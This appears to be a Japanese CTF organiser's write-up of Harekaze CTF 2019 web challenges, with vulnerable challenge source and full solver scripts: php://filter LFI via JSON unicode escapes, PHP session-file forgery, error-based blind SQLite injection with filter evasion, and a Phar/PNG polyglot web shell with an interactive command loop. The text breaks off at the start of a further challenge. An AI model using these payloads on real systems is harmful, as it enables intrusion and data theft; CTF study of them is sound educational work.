5 月 18 日から 5 月 19 日にかけて、チーム Harekaze は Harekaze CTF 2019 を開催しました。登録チーム数は 724 チーム、10 点以上得点したチームは 523 チームと大変多くの方にご参加いただきました。ありがとうございました。
TeamHarekaze/HarekazeCTF2019-challenges ですべての問題 (と問題サーバのソースコード) を公開していますので、当日参加されなかった/できなかった方もぜひ挑戦してみてください。
さて、この記事では私が出題した以下の 9 問について解説します。
つよいWAFを作りました! これならフラグは読めないはず!
I made a strong WAF, so you definitely can’t read the flag!
(URL)
添付ファイル:
ソースコードが添付ファイルとして与えられています。まず Dockerfile を見てみましょう。
FROM php:7.3-apache
COPY ./php.ini $PHP_INI_DIR/php.ini
COPY ./chall /var/www/html
RUN echo "HarekazeCTF{<censored>}" > /flag
EXPOSE 80
フラグは /flag に存在しています。
index.html は次のような内容です。
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Encode & Encode</title>
  </head>
  <body>
    <h1>Encode & Encode</h1>
    <ul>
      <li><a href="#pages/about.html" class="link">About</a></li>
      <li><a href="#pages/lorem.html" class="link">Lorem ipsum</a></li>
      <li><a href="query.php?source">Source Code</a></li>
    </ul>
    <hr>
    <div id="content"></div>
    <script>
    window.addEventListener('DOMContentLoaded', () => {
      let content = document.getElementById('content');
      for (let link of document.getElementsByClassName('link')) {
        link.addEventListener('click', () => {
          fetch('query.php', {
            'method': 'POST',
            'headers': {
              'Content-Type': 'application/json'
            },
            'body': JSON.stringify({
              'page': link.href.split('#')[1]
            })
          }).then(resp => resp.json()).then(resp => {
            content.innerHTML = resp.content;
          })
          return false;
        }, false);
      }
    }, false);
    </script>
  </body>
</html>
index.html でリンクをクリックした際に POST が送信される query.php を見てみましょう。
<?php
error_reporting(0);
if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}
function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
file_get_contents('php://input') で HTTP リクエストの body 部分を取得し、json_decode で JSON としてパースしています。その後 body 部分を is_valid で危険な文字列が含まれていないかチェックし、さらに JSON としてパースした結果の連想配列が page という添字を持っていれば、file_get_contents でその内容を取得しています。
/flag を取得する方法から考えていきましょう。is_valid では flag という文字列が含まれているかどうかチェックしていますが、ごまかすことはできないでしょうか。
is_valid がチェックしているのは $json['page'] ではなく $body であることに着目します。JSON では '\uXXXX' のように文字をエスケープすることができ、例えば 'A' と '\u0041' は等価です。
これを利用して /flag を取得しようと試みますが、出力前の置換によってフラグが表示されません。
$ curl http://(target)/query.php -d '{"page":"/fl\u0061g"}'
{"content":"HarekazeCTF{<censored>}\n"}
is_valid によって flag と同じ様に弾かれている '(php|file|glob|data|tp|zip|zlib|phar):' という文字列を見てみましょう。この前の行にある // no stream wrapper というコメントをググってみると、これは PHP: サポートするプロトコル/ラッパー - Manual に書かれているような、ファイル読み込み時のストリームラッパーという機能の利用を防ぐためのフィルターと推測できます。
php://filter というラッパーを使って /flag の内容が Base64 エンコードさせて出力させてみましょう。
$ curl http://(target)/query.php -d '{"page":"php\u003a//filter/convert.base64-encode/resource=/fl\u0061g"}'
{"content":"SGFyZWthemVDVEZ7dHVydXRhcmFfdGF0dGF0dGFfcml0dGF9Cg=="}
$ echo -en "SGFyZWthemVDVEZ7dHVydXRhcmFfdGF0dGF0dGFfcml0dGF9Cg==" | base64 -d
HarekazeCTF{turutara_tattatta_ritta}
フラグが得られました。
HarekazeCTF{turutara_tattatta_ritta}
正答チーム数は 54 チームでした。
フラグはアイマス DS の「プリコグ」からです。問題の内容等と特に関係はありません。
Easy Notesはメモの管理ができるサービスです。書いたメモはzip形式かtar形式でまとめて出力できます。
実験的なサービスなのでバグがたくさんあるかもしれませんが…もし見つけても悪用しないでくださいね。
Easy Notes is a note-taking service. You can write notes and export them as a .zip or .tar!
Since this is an experimental service, there might be a lot of bugs… If you find bugs, please do not abuse them!
(URL)
添付ファイル:
ソースコードが添付ファイルとして与えられています。
まずはどのような条件でフラグが得られるか確認します。pages/flag.php は以下のような内容です。
      <section>
        <h2>Get flag</h2>
        <p>
          <?php
          if (is_admin()) {
            echo "Congratulations! The flag is: <code>" . getenv('FLAG') . "</code>";
          } else {
            echo "You are not an admin :(";
          }
          ?>
        </p>
      </section>
is_admin の返り値が true と評価される値であった場合に、環境変数として与えられているフラグが表示されています。これはどのような関数でしょうか。このファイルを読み込んでいるファイルを見ていきましょう。
pages/flag.php は index.php?page=flag のように index.php 経由で読み込まれます。index.php は以下のような内容です。
<?php
require_once('init.php');
if (!isset($_GET['page']) || empty($_GET['page'])) {
  $page = 'home';
} else {
  $page = $_GET['page'];
}
if (in_array($page, ['notes', 'note', 'add', 'delete'], true) && !is_logged_in()) {
  redirect('/?page=home');
}
if (in_array($page, ['home', 'flag', 'notes', 'note', 'add', 'delete', 'login'], true)) {
  include('includes/header.php');
  include('pages/' . $page . '.php');
  include('includes/footer.php');
} else {
  redirect('/?page=home');
}
?>
index.php が読み込んでいる init.php は、この他にも様々なファイルで利用されています。init.php は以下のように lib.php から様々な関数を読み込み、また config.php で定義されている TEMP_DIR にセッションファイルを保存するよう設定しています。
<?php
error_reporting(0);
require_once('config.php');
require_once('lib.php');
session_save_path(TEMP_DIR);
session_start();
lib.php は以下のような内容です。
<?php
︙
function is_admin() {
  if (!isset($_SESSION['admin'])) {
    return false;
  }
  return $_SESSION['admin'] === true;
}
︙
is_admin は $_SESSION['admin'] === true のときに true が返される関数のようです。ところが、配布されているファイルにはこの関数以外で $_SESSION['admin'] を参照している箇所はありません。
ほかに怪しげなところがないかソースコードを眺めてみましょう。この Web アプリケーションの目玉機能 (?) であるノートの出力機能の実装を見てみます。なんと、出力される zip もしくは tar は、セッションファイルと同じ TEMP_DIR に保存されているようです。
<?php
︙
$filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type;
$filename = str_replace('..', '', $filename); // avoid path traversal
$path = TEMP_DIR . '/' . $filename;
︙
出力機能を利用して $_SESSION['admin'] が true となる偽物のセッションファイルを作成し、セッション ID を作成したセッションファイルを参照するように変更すればフラグが得られそうです。
さて、PHP のセッションファイル周りの挙動を確認していきましょう。セッションファイルのファイル名は必ず sess_ から始まり、その後にセッション ID が続きます。セッション ID は a-zA-Z0-9,- 以外の文字が含まれている場合には拒否されます。
これを利用すれば、getuser が sess_ を返すようにする (= sess_ でログインする) ことで sess_-0123456789abcdef.zip のようなファイル名で zip を出力させることができます。
また、$type には $_GET['type'] がそのまま入ってきており、例えば export.php?type=. にアクセスすると最初にユーザ名等と結合したときのファイル名は sess_-0123456789abcdef.. になります。その後 $filename = str_replace('..', '', $filename); によって .. が削除されるため、最終的に出力されるファイル名は sess_-0123456789abcdef になります。これでファイル名についてはセッションとして読み込ませることができるようなフォーマットになりました。
セッションデータについて挙動を確認します。セッションデータのシリアライズおよびデシリアライズについての設定である session.serialize_handler はデフォルトでは php に設定されています。この場合には、セッションデータは (属性名)|(シリアライズされたデータ); のような形式で、セミコロン区切りで保存されます。
これを利用すれば、|N;admin|b:1; のようなデータを生成される zip に含ませる (今回は保存されているノートのタイトルに仕込む) ことでセッションデータを偽造することができます。
これらの作業を自動化すると以下のようになりました。
import re
import requests
URL = 'http://(target)/'
while True:
  # login as sess_
  sess = requests.Session()
  sess.post(URL + 'login.php', data={
    'user': 'sess_'
  })
  # make a crafted note
  sess.post(URL + 'add.php', data={
    'title': '|N;admin|b:1;',
    'body': 'hello'
  })
  # make a fake session
  r = sess.get(URL + 'export.php?type=.').headers['Content-Disposition']
  sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0]
  # get the flag
  r = requests.get(URL + '?page=flag', cookies={
    'PHPSESSID': sessid
  }).content.decode('utf-8')
  flag = re.findall(r'HarekazeCTF\{.+\}', r)
  if len(flag) > 0:
    print(flag[0])
    break
実行するとフラグが得られました。
$ python solver.py
HarekazeCTF{l3ts_m4k3_4_f4k3_s3ss10n_d4t4}
HarekazeCTF{l3ts_m4k3_4_f4k3_s3ss10n_d4t4}
正答チーム数は 10 チームでした。
PHP はデフォルトのセッションハンドラとかシリアライズハンドラだと、どんなファイルにどんな内容を書き込むか知ってますかという問題でした。Insecure Deserialization を使ってライブラリの gadget を組み合わせて RCE とか、SoapClient で SSRF とか考えましたが、結局シンプルな感じになりました。
🐶😺🦓🐨
(URL)
添付ファイル:
犬、猫、シマウマ、コアラのうちから好きな動物を投票できるサービスです。
ある動物に投票を行うと vote.php に id=1 のような POST が飛び、 Thank you for your vote! The result will be published after the CTF finished. というメッセージが返ってきます。また、id=hoge のように id に数値以外のものを与えると An error occurred while updating database というエラーメッセージが返ってきます。
以下のようなソースコードが添付ファイルとして与えられています。
schema.sql
DROP TABLE IF EXISTS `vote`;
CREATE TABLE `vote` (
  `id` INTEGER PRIMARY KEY AUTOINCREMENT,
  `name` TEXT NOT NULL,
  `count` INTEGER
);
INSERT INTO `vote` (`name`, `count`) VALUES
  ('dog', 0),
  ('cat', 0),
  ('zebra', 0),
  ('koala', 0);
DROP TABLE IF EXISTS `flag`;
CREATE TABLE `flag` (
  `flag` TEXT NOT NULL
);
INSERT INTO `flag` VALUES ('HarekazeCTF{<redacted>}');
flag というテーブルにフラグがあるようです。これをなんとかして読み出したいですね。
vote.php
<?php
error_reporting(0);
if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}
function is_valid($str) {
  $banword = [
    // dangerous chars
    // " % ' * + / < = > \ _ ` ~ -
    "[\"%'*+\\/<=>\\\\_`~-]",
    // whitespace chars
    '\s',
    // dangerous functions
    'blob', 'load_extension', 'char', 'unicode',
    '(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
    'in', 'limit', 'order', 'union', 'join'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}
header("Content-Type: text/json; charset=utf-8");
// check user input
if (!isset($_POST['id']) || empty($_POST['id'])) {
  die(json_encode(['error' => 'You must specify vote id']));
}
$id = $_POST['id'];
if (!is_valid($id)) {
  die(json_encode(['error' => 'Vote id contains dangerous chars']));
}
// update database
$pdo = new PDO('sqlite:../vote.db');
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
  die(json_encode(['error' => 'An error occurred while updating database']));
}
// succeeded!
echo json_encode([
  'message' => 'Thank you for your vote! The result will be published after the CTF finished.'
]);
与えられた ID を元に投票結果を更新しています。
is_valid によって使用できる文字や関数に制限がかかっていますが、$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}"); で SQL インジェクションができそうです。発行される SQL 文は UPDATE 文であり、情報の抽出ができないように見えますが、その後の処理に注目します。
if ($res === false) {
  die(json_encode(['error' => 'An error occurred while updating database']));
}
もし SQL 文の発行時にエラーが発生すれば、正常に処理が行われたときとは違ったメッセージを表示するようです。これを利用して、例えば得たい情報の 1 ビット目が立っていればエラーを発生させ、もし立っていなければエラーは発生させないというようにして 1 ビットずつ情報を得る Error-based Blind SQLi ができそうです。
さて、この Web アプリケーションでは SQLite が使われていますが、意図的にエラーを起こすにはどうすればよいのでしょうか。
"SQLite" "SQLi" 等でググっても load_extension (SQLite の拡張を読み込む関数) を使っている資料ばかりが出てきます。他に何か使える関数がないか SQLite の関数一覧を見てみると、abs の項で気になる記述がありました。
If X is the integer -9223372036854775808 then abs(X) throws an integer overflow error
abs に -9223372036854775808 を与えるとエラーを吐くようです。試してみましょう。
$ sqlite3
︙
sqlite> select abs(123);
123
sqlite> select abs(-9223372036854775808);
Error: integer overflow
sqlite> select abs(0x8000000000000000);
Error: integer overflow
確かにエラーを吐きました。これを使えば Error-based Blind SQLi ができそうです。
さて、Blind SQLi 問では
substr のような関数である 1 文字を切り出しord (SQLite の場合には unicode) のような関数で文字コード (数値) に変換という感じで 1 ビットずつ情報を読み出すのがよくある流れです。この問題でも同じ様にできないか、フィルターによって制限されていない関数を SQLite の関数一覧から探し、方法を考えてみましょう。
私が想定していた方法として、以下の例のように、既にわかっている文字列の一部と試行する文字を結合した文字列を replace で空文字に置換し、もし length が短ければ (つまり、その文字列が削除されていれば) 試行した文字列が使われていることが確認できるというものがあります。
$ sqlite3
︙
sqlite> create table flag (flag text);
sqlite> insert into flag values ('HarekazeCTF{test}');
sqlite> select length(replace(flag, 'HarekazeCTF{a', '')) from flag;
17
sqlite> select length(replace(flag, 'HarekazeCTF{b', '')) from flag;
17
︙
sqlite> select length(replace(flag, 'HarekazeCTF{s', '')) from flag;
17
sqlite> select length(replace(flag, 'HarekazeCTF{t', '')) from flag;
4
この問題では ' も " もフィルターされているため文字列リテラルは使えず、また char 関数も同様に使えません。どうやって比較するための文字列を作ればいいのでしょう。
私が想定していた方法は、hex 関数でフラグを 16 進数の文字列にエンコードさせることで得たい文字列が使う文字種を 0123456789abcdef の 16 文字に減らし、これらの文字を頑張って作って結合するというものでした。
0123456789 は数値リテラルとして解釈させられるので、1||2 (|| は文字列の結合演算子) のように文字列として扱うことでそのまま使えます。また abcdef については SQLi filter evasion and obfuscation というスライドと同じ要領で、以下のようにして作ることができます。
table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' # 'zebra' → '7A65627261'
table['C'] = 'trim(hex(typeof(.1)),12567)' # 'real' → '7265616C'
table['D'] = 'trim(hex(0xffffffffffffffff),123)' # 0xffffffffffffffff = -1 → '2D31'
table['E'] = 'trim(hex(0.1),1230)' # 0.1 → 302E31
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' # 'dog' → '646F67'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})' # 'koala' → '6B6F616C61'
ここまで紹介してきたフィルターのバイパス方法を利用して、以下のようなスクリプトを書くことができました。
# coding: utf-8
import binascii
import requests
URL = 'http://(target)/vote.php'
# フラグの長さを特定
l = 0
i = 0
for j in range(16):
  r = requests.post(URL, data={
    'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
  })
  if b'An error occurred' in r.content:
    l |= 1 << j
print('[+] length:', l)
# A-F のテーブルを作成
table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'
# フラグをゲット!
res = binascii.hexlify(b'HarekazeCTF{').decode().upper()
for i in range(len(res), l):
  for x in '0123456789ABCDEF':
    t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
    r = requests.post(URL, data={
      'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
    })
    if b'An error occurred' in r.content:
      res += x
      break
  print(f'[+] flag ({i}/{l}): {res}')
  i += 1
print('[+] flag:', binascii.unhexlify(res).decode())
これを実行するとフラグが得られました。
$ python solver.py
[+] length: 76
[+] flag (24/76): 486172656B617A654354467B3
[+] flag (25/76): 486172656B617A654354467B34
[+] flag (26/76): 486172656B617A654354467B343
︙
[+] flag (73/76): 486172656B617A654354467B34316D5F37305F62335F345F35716C3137335F6D3435373372
[+] flag (74/76): 486172656B617A654354467B34316D5F37305F62335F345F35716C3137335F6D34353733727
[+] flag (75/76): 486172656B617A654354467B34316D5F37305F62335F345F35716C3137335F6D34353733727D
[+] flag: HarekazeCTF{41m_70_b3_4_5ql173_m4573r}
HarekazeCTF{41m_70_b3_4_5ql173_m4573r}
正答チーム数は 3 チームでした。
SQLite で Error-based SQLi といえば load_extension ですが、これ以外の関数でもできないかソースコードを探したところ、abs、sum、ntile 等でもできることがわかったので問題として作成したものです。
文字列リテラルや char 関数の代替をどうするかというパートですが、justCatTheFish の terjanq さんの解法では hex(hex(…)) と二重に hex でエンコードすることによって、作る必要のある文字種を 0123456789abcdef の 16 文字から 0123456789 の 10 文字にまで減らされています。めっちゃ楽ですね😇
フラグは「めざせポケモンマスター」からです。SQLite には sqlite_master という存在しているテーブルの名前や CREATE TABLE をしたときに発行された SQL 文を確認できるテーブルがあって、ここからの連想でした。(は?)
アイコンをアップロードできるだけのAvatar Uploaderというサービスを作りました。アップローダーはPNG形式だけを受け付けるようにチェックをしているのですが、もしこのチェックを騙すことができればフラグを差し上げます。
I made a web application called Avatar Uploader, which you can upload avatars. The uploader checks types of uploaded images and only accepts PNG. However, if you could trick the check, I will give you the flag.
(URL)
添付ファイル:
ソースコードが添付ファイルとして与えられています。
まずはどのような条件でフラグが得られるか確認します。Dockerfile は以下のような内容です。
# flag 1
ENV FLAG1 "<redacted>"
# flag 2
RUN echo "<redacted>" > "/flag2-$(head -c 8 /dev/urandom | od -A n -t x1 | tr -d ' \n')"
RUN chmod -R 755 /flag*
FLAG1 という環境変数に 1 つ目のフラグが、/flag2-(16 桁のランダムな文字列) というファイルに 2 つ目のフラグがあるようです。
FLAG1 でソースコードを検索してみると、upload.php に以下のような処理がありました。
<?php
︙
// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
  error('Uploaded file is not PNG format.');
}
// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
  error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
  // I hope this never happens...
  error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}
︙
アップロードされたファイルはまず finfo_file で PNG 形式であるか確認され、その後 getimagesize でもう一度 PNG 形式であるかどうか確認されています。もし前者ではチェックを通り、後者で PNG 形式でないという判定を受ければ FLAG1 という環境変数が表示されるようです。
添付ファイルの Dockerfile 等から問題サーバと同じ環境を用意し、まず正常な PNG ファイルを少しずつ削りながら、どこまでいけばこの環境で finfo_file が PNG と判定しなくなるかを確認します。
root@950378d61f89:/tmp# echo '<?php $f = finfo_open(FILEINFO_MIME_TYPE); var_dump(finfo_file($f, "test.bin"));' > test.php
root@950378d61f89:/tmp# echo -en "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\1\x90\0\0\1\x90\8\6\0\0\0\x80\xbf6\xcc" > test.bin; php test.php
string(9) "image/png"
root@950378d61f89:/tmp# echo -en "\x89PNG\r\n\x1a\n\0\0\0\rIHDR" > test.bin; php test.php
string(9) "image/png"
root@950378d61f89:/tmp# echo -en "\x89PNG\r\n\x1a\n\0\0\0\r" > test.bin; php test.php
string(24) "application/octet-stream"
getimagesize でも同様に試してみましょう。
root@950378d61f89:/tmp# echo '<?php $s = getimagesize("test.bin"); var_dump($s[2] === IMAGETYPE_PNG);' > test.php
root@950378d61f89:/tmp# echo -en "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\1\x90\0\0\1\x90\8\6\0\0\0\x80\xbf6\xcc" > test.bin; php test.php
bool(true)
root@950378d61f89:/tmp# echo -en "\x89PNG\r\n\x1a\n\0\0\0\rIHDR" > test.bin; php test.php
bool(false)
root@950378d61f89:/tmp# echo -en "\x89PNG\r\n\x1a\n\0\0\0\r" > test.bin; php test.php
bool(false)
\x89PNG\r\n\x1a\n\0\0\0\rIHDR を投げたときの挙動が finfo_file と異なります。これを問題サーバに投げるとフラグが得られました。
HarekazeCTF{seikai_wa_hitotsu!janai!!}
正答チーム数は 52 チームでした。
getimagesize の実装を確認しましょう。マジックナンバー (先頭 8 バイト) が \x89PNG\r\n\x1a\n であれば php_handle_png が呼ばれますが、この中ではもしマジックナンバーの後の 9 バイト分が読み込めなければ NULL を返しています。php_handle_png の返り値が NULL であれば getimagesize は FALSE を返すため、\x89PNG\r\n\x1a\n\0\0\0\rIHDR のように IHDR チャンクが中途半端なファイルは PNG として判定されなかったようです。
フラグはミルキィホームズの「正解はひとつ!じゃない!!」からです。この問題には 2 つ目のフラグ (Avatar Uploader 2 のこと) が存在するので、そこからの連想でした。
アイコンをアップロードできるだけのAvatar Uploaderというサービスを作りました。もしよかったら脆弱性がないか確認していただけませんか。
ヒント: https://php.net/manual/ja/function.password-hash.php
I made a web application called Avatar Uploader, which you can upload avatars. Could you please try to find vulnerabilities?
Hint: https://www.php.net/manual/en/function.password-hash.php
(URL)
添付ファイル:
Avatar Uploader 1 の続きの問題です。今度は /flag2-(16 桁のランダムな文字列) というファイルを読み出せばよいのでしょう。
とりあえず index.php を見てみましょう。
<?php
error_reporting(0);
require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php');
$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);
if ($session->isset('flash')) {
  $flash = $session->get('flash');
  $session->unset('flash');
}
$avatar = $session->isset('avatar') ? 'uploads/' . $session->get('avatar') : 'default.png' ;
$session->save();
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Avatar Uploader</title>
    <style>
/* common.css */
<?php include('common.css'); ?>
/* light/dark.css */
<?php include($session->get('theme', 'light') . '.css'); ?>
/**/
    </style>
  </head>
  <body>
    <header>
      <h1>Avatar Uploader</h1>
      <nav class="navbar">
        <ul class="mr-auto">
          <li><a href="/">Home</a></li>
          <li><a href="theme.php">Toggle theme</a></li>
<?php if ($session->isset('name')) { ?>
        </ul>
        <ul>
          <li>Hello, <?= $session->get('name'); ?>! <img src="<?= $avatar; ?>" width="24" height="24"></li>
          <li><a href="signout.php">Sign out</a></li>
<?php } ?>
        </ul>
      </nav>
    </header>
<?php if ($flash) { ?>
    <div class="<?= $flash['type'] ?>"><?= $flash['message']; ?></div>
<?php } ?>
    <main>
<?php if ($session->isset('name')) { ?>
      <h2>Upload Avatar</h2>
      <p>Please upload a PNG image less than 256kB and smaller than 256px*256px.</p>
      <form enctype="multipart/form-data" action="upload.php" method="POST">
        <p><input type="file" name="file"></p>
        <input type="submit" value="Upload">  
      </form>
<?php } else { ?>
      <h2>Sign in</h2>
      <form action="signin.php" method="POST">
        <p><label for="name">Name: </label><input type="text" name="name" id="name" pattern="^[0-9A-Za-z_]{4,16}$" placeholder="e.g. tateishi_shima"></p>
        <input type="submit" value="Sign in"> 
      </form>
<?php } ?>
    </main>
  </body>
</html>
CSS の出力部分で <?php include($session->get('theme', 'light') . '.css'); ?> とセッションから値を読み出して include しています。$session->get(…) が返す値を操作できれば、ここで LFI ができそうです。まずはセッション管理について調べてみましょう。
$session->get('theme', 'light') のように、セッション管理には PHP デフォルトの $_SESSION ではなく SecureClientSession という独自に実装したクライアントセッションが使われています。require_once で読み込まれている lib/session.php を確認しましょう。
<?php
class SecureClientSession {
  private $cookieName;
  private $secret;
  private $data;
  public function __construct($cookieName = 'session', $secret = 'secret') {
    $this->data = [];
    $this->secret = $secret;
    if (array_key_exists($cookieName, $_COOKIE)) {
      try {
        list($data, $signature) = explode('.', $_COOKIE[$cookieName]);
        $data = urlsafe_base64_decode($data);
        $signature = urlsafe_base64_decode($signature);
    
        if ($this->verify($data, $signature)) {
          $this->data = json_decode($data, true);
        }
      } catch (Exception $e) {}
    }
  
    $this->cookieName = $cookieName;
  }
  public function isset($key) {
    return array_key_exists($key, $this->data);
  }
  public function get($key, $defaultValue = null){
    if (!$this->isset($key)) {
      return $defaultValue;
    }
    return $this->data[$key];
  }
  public function set($key, $value){
    $this->data[$key] = $value;
  }
  public function unset($key) {
    unset($this->data[$key]);
  }
  public function save() {
    $json = json_encode($this->data);
    $value = urlsafe_base64_encode($json) . '.' . urlsafe_base64_encode($this->sign($json));
    setcookie($this->cookieName, $value);
  }
  private function verify($string, $signature) {
    return password_verify($this->secret . $string, $signature);
  }
  private function sign($string) {
    return password_hash($this->secret . $string, PASSWORD_BCRYPT);
  }
}
重要なのは save、__construct、verify、sign の 4 つのメソッドです。
save を読むと、Cookie には . 区切りで Base64 エンコードされた JSON 形式のデータとそれを sign メソッドで署名した値を保存していることがわかります。__construct はページにアクセスした際にデータを読み込むためのメソッドで、verify メソッドで署名が正しいと確認された場合にのみデータを読み込んでいます。
sign メソッドでは PASSWORD_BCRYPT アルゴリズムで password_hash を使ってデータに署名しています。データの前には $this->secret が結合されていますが、secret は環境変数から値が設定されており推測はできません。verify メソッドでは password_verify を使って署名が正しいものか確認しています。
ここには脆弱性がないように見えますが、ここでヒントを見直してみましょう。
ヒント: https://php.net/manual/ja/function.password-hash.php
password_hash のドキュメントへのリンクが張られています。アクセスして読んでみると、アルゴリズムが PASSWORD_BCRYPT である場合について気になる記述があります。
警告
PASSWORD_BCRYPT をアルゴリズムに指定すると、 password が最大 72 文字までに切り詰められます。
ここで password は password_hash の第 1 引数です。この仕様を悪用すれば、もし 72 文字以上のデータの署名を入手することができれば、署名はそのままでデータの 72 文字以降の部分を書き換えることができそうです。
では、どうすればそのようなデータを作成することができるのでしょうか。セッションに値を設定している箇所を探すと、upload.php に以下のような記述がありました。
<?php
︙
require_once('lib/util.php');
︙
// check whether file is uploaded
if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
  error('No file was uploaded.');
}
︙
error が定義されている lib/util.php を確認します。
<?php
︙
function flash($type, $message) {
  global $session;
  $session->set('flash', [
    'type' => $type,
    'message' => $message
  ]);
  $session->save();
}
function error($message, $path = '/') {
  flash('error', $message);
  redirect($path);
}
この flash メッセージはセッションに保存されているようです! 様々なデータが既に保存されている状態で flash メッセージを表示させれば、データは 72 文字を超えるでしょう。
さて、セッションデータを操作できるようになったところで、どうすれば <?php include($session->get('theme', 'light') . '.css'); ?> で LFI ができるか考えていきましょう。upload.php は PNG しか受け付けませんが、このような制限があっても LFI はできるでしょうか。
PHP には Phar という複数のファイルをひとつにまとめることができるファイル形式があります。Phar 向けのストリームラッパーも存在しており、b.txt というファイルを含む a.phar という Phar アーカイブがあるとき、file_get_contents('phar://a.phar/b.txt') のように phar:// スキームを利用することでアクセスすることができます。
Phar のヘッダはある程度自由で、<?php __HALT_COMPILER(); ?> で終わってさえいれば、その前に JPEG が PNG があろうが Phar として解釈させることができます。このため、Phar と PNG の polyglot も作ることができます。exploit.css のように .css という拡張子を持った PHP スクリプトを含む Phar と PNG の polyglot を作成し、これをセッションの theme にセットすれば LFI ができるはずです。
これらの脆弱性を組み合わせて、以下のようなスクリプトで OS コマンドを実行することができました。
make_exploit.php
<?php
define('PNG_HEADER', hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000'));
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('exploit.css', '<?php passthru($_GET["cmd"]); ?>');
$phar->setStub(PNG_HEADER . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
solver.py
import base64
import binascii
import json
import os
import re
import requests
import urllib.parse
URL = 'http://(target)/'
def b64decode(s):
  return base64.urlsafe_b64decode(s + '=' * (3 - (3 + len(s)) % 4))
# make exploit.phar
os.system('php -d phar.readonly=0 make_exploit.php')
# sign in
sess = requests.Session()
username = binascii.hexlify(os.urandom(8)).decode()
sess.post(URL + 'signin.php', data={'name': username})
# upload exploit.phar as exploit.png
with open('exploit.phar', 'rb') as f:
  sess.post(URL + 'upload.php', files={'file': ('exploit.png', f)})
sessdata = sess.cookies['session'].split('.')[0]
data = json.loads(b64decode(sessdata))
avatar = data['avatar']
# print flash message
sess.get(URL + 'upload.php', allow_redirects=False)
sessdata, sig = sess.cookies['session'].split('.')
payload = b64decode(sessdata).replace(b'}}', '}},"theme":"phar://uploads/{}/exploit"}}'.format(avatar).encode())
sess.cookies.set('session', base64.b64encode(payload).decode().replace('=', '') + '.' + sig)
# LFI
while True:
  command = input('> ')
  c = sess.get(URL + '?cmd=' + urllib.parse.quote(command)).content.decode()
  result = re.findall(r'/\* light/dark.css \*/(.+)/\*\*/', c, flags=re.DOTALL)[0]
  print(result.strip())
cat /flag* でフラグが得られました。
$ python solver.py
> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
> ls /
bin
boot
dev
etc
flag2-dea5b73356499c78
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
> cat /flag*
HarekazeCTF{lfi_with_phar_is_fun}
HarekazeCTF{lfi_with_phar_is_fun}
正答チーム数は 11 チームでした。
フラグが雑ですね。この問題は「password_hash の仕様を悪用する」「Phar と PNG の polyglot で .css という拡張子が付与されるのを回避して LFI する」の 2 つが主な要素なのですが、作問時に何も考えていなかったので後者だけがフラグに盛り込まれました。
password_hash の仕様は bcryptの72文字制限をSHA-512ハッシュで回避する方式の注意点 | 徳丸浩の日記で初めて知りました。この記事で紹介されている “PHPのbcrypt実装はバイナリセーフでない” という仕様を利用した問題は CPCTF 2019 の Password: S5 があるのですが、パスワードの 72 文字制限については過去問が見当たらなかったため、今回この仕様を利用した問題を作成しました。
if (eval(your_code) === 1337) console.log(flag);
(URL)
添付ファイル:
以下のようなソースコードが与えられています。
const express = require('express');
const path = require('path');
